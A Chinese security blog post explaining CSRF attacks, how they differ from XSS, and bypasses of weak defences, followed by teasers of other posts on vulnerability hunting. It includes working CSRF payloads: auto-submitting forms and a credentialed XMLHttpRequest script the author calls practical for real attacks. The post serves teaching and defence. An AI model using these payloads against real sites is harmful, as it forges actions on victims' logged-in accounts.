CSRF 原理 利用 防御

引子  

  最近呢挖到某站的一个CSRF。鉴于这个站点的所有者性质有些特殊，是可以随时记过开除我的那种特殊，我就不点名是哪个站也不披露太多细节，讲讲我最近学到的一些CSRF相关的东西代替吧。

CSRF是什么

  CSRF是洋文Cross-Site Request Forgery的缩写，意思是跨站请求伪造。
  通常的攻击过程是受害者先登录正常网站，再被攻击者骗去访问攻击者控制的服务器，最后攻击者通过HTML/JS代码使受害者浏览器带着Cookies向正常网站发包，执行了违背受害者意愿的操作。
Image result for CSRF

CSRF和XSS

  好像总是听到有面试题问什么“CSRF和SSRF的区别”这个问题。说实话这个问题好像没什么好说的，这就像问知网和知乎网的区别一样。我接触到的朋友好像更难分清楚XSS和CSRF的区别，毕竟都是点一个链接就被搞了。但实际上他们区别还是很明显的，XSS是跨站脚本执行，能够以被攻击的正常网站的“身份”在受害者浏览器上面执行JS代码，一般除了需要输密码才能干的事情以外能以受害者身份在该网站上干任何事情。然而CSRF只是让受害者的浏览器发几个包，并不能操纵正常网站上的JS代码，能干的事情一般比XSS少。

CSRF的几种类型

 GET型的CSRF

   GET型的CSRF只需要让受害者发GET型的包就可以了
   攻击者可以用以下方式使受害者浏览器发出该包
<img src="http://website" >
    

  普通的POST型的CSRF

   许多开发者一厢情愿地认为自己的敏感操作换成POST就不会被有事了，但这个观点被证明是错的。这里就讲几个不同的CSRF POST payload
   首先，一个普通的攻击者可以用BURP自带的CSRF POC生成一个POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dvwa-TOM/login.php" method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>

  </body>
</html>
    但是这个POC显然是没什么实战价值的，不仅需要受害者点那个“Submit request",而且点完后还会跳到被攻击的网站，傻子都猜到这个有问题
  网上流传的另一类POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://thewind/dvwa-TOM/login.php" id="1"  method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
        var f=document.getElementById("1");
        f.submit();
    </script>
  </body>
</html>
  这个POC无需用户再次点击就可以自动发包了，但是还是会跳到受攻击网站那儿去。这两类POC的广泛流传使得一票程序员相信POST的CSRF根本无法隐蔽攻击，没有实用性质。但是真的就只能这样了吗？如果只是这样我也就不会写出这么一篇文章来了。其实攻击者完全可以用XMLHttpRequest发送POST包而无需尴尬跳转，所以我们来看看最后能用的POC
<html>
  <body>
<script>
    function CSRF()
    {
            var xmlhttp = null;
            if (window.XMLHttpRequest)
                xmlhttp=new XMLHttpRequest();
            else if (window.ActiveXObject)
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");//兼容IE浏览器xml
            xmlhttp.open("POST","目标URL",true)
            xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlhttp.withCredentials = true; 
            xmlhttp.send("POST数据");

    }
    CSRF();
    </script>
  </body>
</html>
    这个POC才是真正能够实战使用的POC，只会闷声发包还不被CORS阻拦，没有恼人的跳转，一步到位。

  特殊Content-Type的POST型的CSRF

  上述POC已经能发包了，但是Content-Type若是改成x/json还是会被CORS拦截，如果遇到特殊Content-Type类型的CSRF，我们有两种可能的解决办法
  法一：如果对方服务器足够的“包容”,那我们用application/x-www-form-urlencoded作为Content-Type也是可以的
  法二：使用Flash发包
               参见https://www.freebuf.com/articles/web/164234.html

    

CSRF的不安全的防御导致的绕过手段    

  除了改成POST操作之类的伪防御以外，还有些正确的但容易被用错的防御

  Token可被获取

    许多开发者会在操作的时候加入CSRF Token。本来这是安全的，但是这个Token也可能在用户在被攻击的网站内点击链接的时候泄漏。如果在点出链接的时候用户的URL栏中有这个Token，这个Token就会被发出去的Referer参数泄漏。
    因此在设计站内信之类的设计的时候，建议把所有发过来的网址设计一个跳转，清除敏感的Referer

  Referer绕过

    检验Referer也是一种可行方法，但有的时候检验的方式错误或者放掉空Referer也可以绕过
    CSRF 花式绕过Referer技巧已经有大佬说的很明白了，我就不缀述了

结尾

     尽管CSRF在OWASP中已不幸消失于Top 10，但是许多小型的CMS许多小网站都没有对此防护，平常想要水CVE的时候还是可以挖几个玩玩的
   

评论

发表评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

图片
  0x00关于本文 逛freebuf的时候看到了这篇文章， 关于PDD员工发帖溯源联想到的相关技术与实现 ，其中提到了一个叫做wfilter的局域网监控软件。 这个软件官网提供了下载链接，支持10天实用，于是我就下下来研究一番。 作为一个搞安全的人，我最感兴趣的是这个软件本身是否存在缺陷，毕竟这类用于监控的安全软件自身出现漏洞是最有戏剧性的事情了 0x01不同寻常 Web管理 Wfilter通过串联/旁路的方式进行部署，同时提供一个Web管理接口供管理员进行远程管理。而作为一个Web狗，我自然把重心放在了这个Web管理接口上了。 这个Web管理接口不同寻常的第一点就是登录之后不会返回任何Cookies，而且请求接口的时候也不会带Cookies或者任何特殊的Headers 那它是怎么进行鉴别的呢？ 测试了一番之后发现居然是根据IP地址来鉴别的，一旦管理者登录，wfilter就会记录下管理者的IP地址，然后允许其访问这些接口。 这么诡异的鉴别方式大概率搭配了一个诡异的后端实现，结果我用火绒剑一看，发现后台是通过CGI运行的。也就是说想要审计这个软件还得去逆向这个EXE！ 算了，逆向就逆向吧，正好试试IDA7.5效果怎么样 0x01对于cgiproj.exe的逆向分析 这个Web接口的特点是通过/fcgi?cmd=【功能名】来调用，因此在IDA里面搜索相关的字符串就可以找到实现通过功能名来执行不同功能的函数了。 这个函数非常的大，以至于我需要修改IDA的hexrays支持的最大函数大小来让IDA能够成功反编译这个函数（Web狗实在是不想啃汇编了）。 经过一番猜测和实验，我发现这个调用sub_BF65E0中的参数包含了功能名字，而v266[1]中存放的则是其对应的函数。通过这些信息我可以查看具体接口是如何实现。 0x02 思路1：找到无需鉴权的功能，直接拿下服务器！ 实现这个思路，简单来说就两个步骤，第一个是找到无需鉴权的功能，第二个是逆向分析然后找到有漏洞功能然后利用。 为了找到无需鉴权就能使用的功能，简单起见，我搜集了那个大函数中的所有的字符串，然后拿到接口中去fuzz，接着发现viewHelp,helpSearch,login,mobileCode,mlogin,logout,remoteLogin,viewToolTip,ExecuteNoLogin,forget
阅读全文

别想偷我源码：通用的针对源码泄露利用程序的反制（常见工具集体沦陷）

图片
  0x00 关于本文     是的没错 我又去蹂躏安全工具了，和以前我单个单个地欺负不同，这次发现的攻击手段是通用的，可以通杀大部分源码泄露漏洞利用程序。      本文会包含常见泄露漏洞的原理介绍（Git/Svn），利用工具自身的安全风险分析，简单易懂的POC制作方式，针对常见工具的攻击测试，以及提升反制威力的方法及展望。 0x01Git泄露：漏洞原理介绍      Git是什么大家应该都很清楚（不知道Git是啥的人多半是不肯来光临这个博客的）      有些开发人员直接把代码clone到服务器的web目录来部署，但是开发人员或许不知道的是，clone下来的不只是代码，还有一个.git目录，这个目录被叫做版本库。攻击者可以通过访问这个目录，解析其中的文件，dump整站源码。     想要更深入地理解Git泄露漏洞，了解攻击流程，就需要了解.git目录的结构     tree一下这个目录，发现内容如下      index文件中包含了这个项目中的各个文件的信息，包括文件路径和Git对象的对应的40位哈希值。在这里我们不需要对Git对象理解的很深入，只需要知道里面包含了文件内容，是让攻击者垂涎欲滴的东西就可以了。      想要拿到Git对象，就需要转去objects目录。objects目录存放了所有的git对象，对于一个git对象，40位哈希的前两位会作为目录名，而后面的38位会作为文件名，存在objects下面。举个例子，一个Git对象那个的hash是cb75d8439f004f41d5f85ffa5f8d017df395651a，那么它就会被存在cb/75d8439f004f41d5f85ffa5f8d017df395651a。     知道了这些信息之后，就可以知道Git泄露攻击是如何进行的了，首先攻击者访问index文件，解析后得到文件名和对象哈希。接着按着对象哈希一个一个去objects目录获取到Git对象，解析后得到文件。 0x02 Git泄露利用工具的安全风险     显而易见的，手动解析index文件并去下载然后再去解析Git对象是一项烦人又重复的活，因此有大量的工具被开发出来解放黑客们的双手。这些工具可以将整个攻击流程自动化，自动下载项目的所有文件，并且重建整个项目的目录结构。     但是在这个过程中存在一个严重的安全风险，这些工具在重建项目的
阅读全文

反-反蜜罐：以三个反蜜罐插件的缺陷为例

图片
  0x00 关于本文     当时想保研，想搞篇论文，就捣鼓了个XSS平台并研究了反蜜罐插件的缺陷，缝在一起投某中文期刊，然后这种乱缝合果不其然被拒，之后我就把这事丢在一边了。     最近上t00ls看到某公司某蜜罐，发现其中已经采用了某些绕过反蜜罐插件的措施，一下子勾起了我的回忆。尽管过去了那么久，事后证明保研没有看起来的那么难，而且我也准备退学跑路了，但这些研究依然在那里并且还没过时，因此我决定去掉里面吹水的部分，整理下后发出来。     本文以三个反蜜罐插件为例（ anti-honeypot 、 AntiHoneypot-Chrome-simple 、 antiHoneypot ），分析蜜罐插件的工作原理及导致其被反向检测以及绕过的缺陷。尽管本文会对具有反制能力的蜜罐做一定的介绍，但读者需要对XSS、Jsonp劫持有一定的了解才能更好地理解本文。 0x01 会咬人的蜜罐&反蜜罐插件     有网络安全基础的读者应该都知道蜜罐是什么。防御者搞一个外表诱人但监控严密的系统来引诱黑客进攻，将黑客的一举一动记录下来，以对其分析和追踪。据说当年大名鼎鼎的黑客凯文米特尼克就栽在蜜罐上，结果惨遭溯源。     在2013年BlackHat Eu上，有研究者 提出 通过Jsonp/CSRF/XSS的方法攻击黑客的浏览器，以定位黑客的身份。随着护网行动的普及，默安幻阵和长亭谛听这样具有反制能力的蜜罐在各个攻防演练中大放异彩，这些蜜罐内置了大量的Jsonp和XSS接口，一旦访问，运行在浏览器前端的js脚本就通过这些接口拿到大黑客的QQ/CSDN/微博/爱奇艺/优酷 等等的账号名，再通过社工库等办法拿到大黑客的更多信息，让大黑客率先响应国家实名上网的号召。     当然大黑客也不是吃素的，黑客们开发了各式各样的 蜜罐阻拦插件 ，这些插件可以通过检查网页的Dom和请求的URL来判断当前访问的的网站是否是蜜罐，并实时阻断浏览器发出的可疑请求，阻止恶意js脚本拿到敏感信息。 0x02  AntiHoneypot-Chrome-simple  插件原理&缺陷分析 原理分析     AntiHoneypot-Chrome-simple插件通过简单的预置的蜜罐特征来检测蜜罐，它在插件的background.js中定义了一组规则，分别是文件名和内容的对应。     插件通过c
阅读全文